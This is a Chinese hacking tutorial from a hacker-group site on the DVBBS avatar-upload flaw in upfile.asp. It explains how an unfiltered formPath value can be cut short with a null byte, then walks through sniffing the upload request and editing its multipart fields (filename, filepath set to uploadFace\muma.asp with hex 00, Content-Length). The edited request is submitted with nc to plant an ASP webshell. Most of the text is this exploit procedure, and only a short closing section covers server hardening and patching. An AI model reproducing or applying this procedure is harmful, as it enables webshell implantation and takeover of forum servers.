文章来源:中国X黑客小组
DVBBS头像处直接上传ASP文件漏洞始出,动网官方站、黑客防线、安全基地相继被黑,就连我们可爱的x档案的网站也没有幸免于难。这个漏洞不是我发现的,攻击方法也不是,但是很多菜鸟对这个漏洞成因及利用方法并不是很清楚,所以我就来详解一下这个漏洞。
一、漏洞成因
在动网的upfile.asp文件中有这么一句代码:
●filename =formPath&year(now)&month(now)&day(now)&hour(now)&minute (now)&second(now)&ranNum&"."&fileExt●,其中变量filename是要保存上传头像的文件名, fileExt是要保存文件的后缀。下面我们来看看判断后缀的依据从何而来。
reg_upload.asp中部分代码如下:
★
<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >
<input type="hidden" name="filepath" value="uploadFace">
<input type="hidden" name="act" value="upload"> 字串9
<input type="file" name="file1">
<input type="hidden" name="fname">
<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;">
</form>
★
我们可以看到upfile.asp程序是提取file1表单和fname表单中的值来做文件后缀判断的,而file1和fname的值来源于客户端,这给我们欺骗服务端的程序提供了可能。这里直接从页面上递交我们的ASP文件是行不通的。但是,如果我们自己构造数据包就可以绕过服务端文件类型的检测了。而在这句
●filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
●代码中我们发现,只要让frompath变量做为一个已经结束的字符串,那么后面的那些改变上传文件名的函数就都不起作用了。在计算机中检测字符串是否结束是通过检测''\0''来实现的,只要发现了''\0''就认为结束;也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似 "uploadface\mm.asp"这样的路径参数已经结束了,从而达到直接将文件保存为我们定义的文件名的目的。(lcx再罗嗦几句自己的看法,网上有关动网上传文章和这篇文章好像都没有根本搞清或讲明白为什么能直接上传asp的道理。其实upfile.asp判断你上传的头像是否为asp后缀并不重要的,漏洞的关键就是一个formPath变量没有过滤及截断的问题。只要我们设定formPath的变量为“uploadface\xx.asp”这样的值,再在这个值后加个00截断字符就可以了。上传的asp后缀没有变化,只是因为我们把formPath的变量指定为了 字串3
●uploadface\xx.asp
●这种格式。file1、fname表单值只是判断我们上传的文件是否合法的jpg或gif后缀而已,上传asp文件的后缀指定倒不是因它俩而来。)
生成)
二、攻击过程:
我们先在论坛申请一个帐号,我申请的是7788,申请好以后进入用户控制面板,个人资料修改,如果管理员没有禁止上传头像的话就会有文件浏览上传的地方。
我们选择好要上传的asp木马文件,这里是c:\newmm.asp。然后我们打开嗅探工具winsockexport(不过不支持2003,所以最好别在 2003下使用),点击打开第一个黄色翻页小图标,在弹出的对话框中选择IEXPLORER.EXE后点击里面的修改基本资料选项,点open开始监听。
Ok,嗅探开始,我们点击头像上传那里的上传......显示格式不对
我们来看嗅探的结果,显示得非常详细
如果你搞不懂浏览器的真正工作原理,你看看这段嗅探的数据你就明白多了,cookie、sessionid还有常用的referer都在这里,简直是一次很好的学习机会呀。
我们把嗅探的结果复制到一个2.txt文档里,这里的结果有两部分组成。一部分是在图4所示的第3行里,一部分在第3行里。注意一定要全选复制第3和第4行的所有数据,在复制的过程中记得一定要把最后的回车也复制进去,不然实验不成功的。 字串2
下面我们将进行最核心的部分,修改数据。
●修改的第一个地方●
★
Content-Disposition: form-data; name="file1"; filename="C:\Newmm.asp"
改为
Content-Disposition: form-data; name="file1"; filename="C:\Newmm.gif"
欺骗服务端,让它误认为我们上传的是.gif后缀。
★
●修改的第二个地方●
★
-----------------------------7d43e4122010e
Content-Disposition: form-data; name="filepath"
uploadFace
改为:
-----------------------------7d43e4122010e
Content-Disposition: form-data; name="filepath"
uploadFace\muma.asp
注意在muma.asp后面有一个空格,切记。这里的意思是好为我们自定义上传文件名做好准备。
★
●修改的第三个地方●
★
修改提交数据的长度
原来:Content-Length: 1819
后来增加了\muma.asp和一个空格,就是增加了10
长度变成1829
Content-Length: 1819
★
●修改的第四个地方●
保存好我们修改好的2.txt之后,下面进行最重要的一步,就是我们谈到的让formpath作为字符串结束的''\0''。我们知道在16进制中空格是20,''\0''是00,那么我们就把刚才我们在muma.asp后面的空格变成''\0''。这里我们 字串4
用ultredit打开2.txt。
看到那个20了没有,好我们把他改为00。
Ok,保存2.txt。下面我们用nc来提交2.txt,如果说你还不知道nc能提交数据的话,那你可得恶补了哟!
,我们去http://***/bbs/uploadFace/muma.asp看看。
很可爱的哟,是不是,呵呵,现在我们可以用这个asp木马来写好东西了,比如写一个海洋木马2004。
三、防范补救措施
这个漏洞是一个很大漏洞,黑防、动网都被此漏洞黑掉。从这个漏洞也反映出国内很多站点包括一些安全类站点的管理人员安全意识不强。作为安全管理人员我们不能要求程序员写的程序能有多安全,因为他们中很多人缺少安全意识,那当然很难写出安全的程序来,我们要求的只能是我们自己。我们的服务器如果你象下面这样配置就绝对不会被人家黑了主页。
首先要把首页和bbs分开放,然后在iis里严格用户访问权限,不给他们修改、删除的权限,这样即使他们传上去网页木马也是没有用的,他们只能看一看而已,更别提什么改首页了(前提是可读的文件里可别有什么sa的密码的东西)。实际上你还可以不给他们列出文件夹目录的权限, 再配置好FSO,配置好shell.application这样就更安全一点了。 字串7
其次要记住给ftp用户可写的权限,这样虚拟主机的用户才有方法维护网站。实际上对于sql inject什么的也有方法来防制,不信的话你可以来www.serverfocus.net(服务器焦点)试试,即使你inject成功也没有用,不信你看看哟。由于这个不是谈服务器安全配置的文章,就此打住了,更多安全配置尽在服务器焦点www.serverfocus.net。
最后要说提解决这个头像上传漏洞的方法当然是给dvbbs打补丁。我估计相同或相近的问题会出现在其他程序的很多地方,希望相关人等能尽快发现,不只是找漏洞的人,还有程序员自己。
文章来源地址:http://www.hackhome.com/html/wlcl/wlaq/2006/0610/26665.html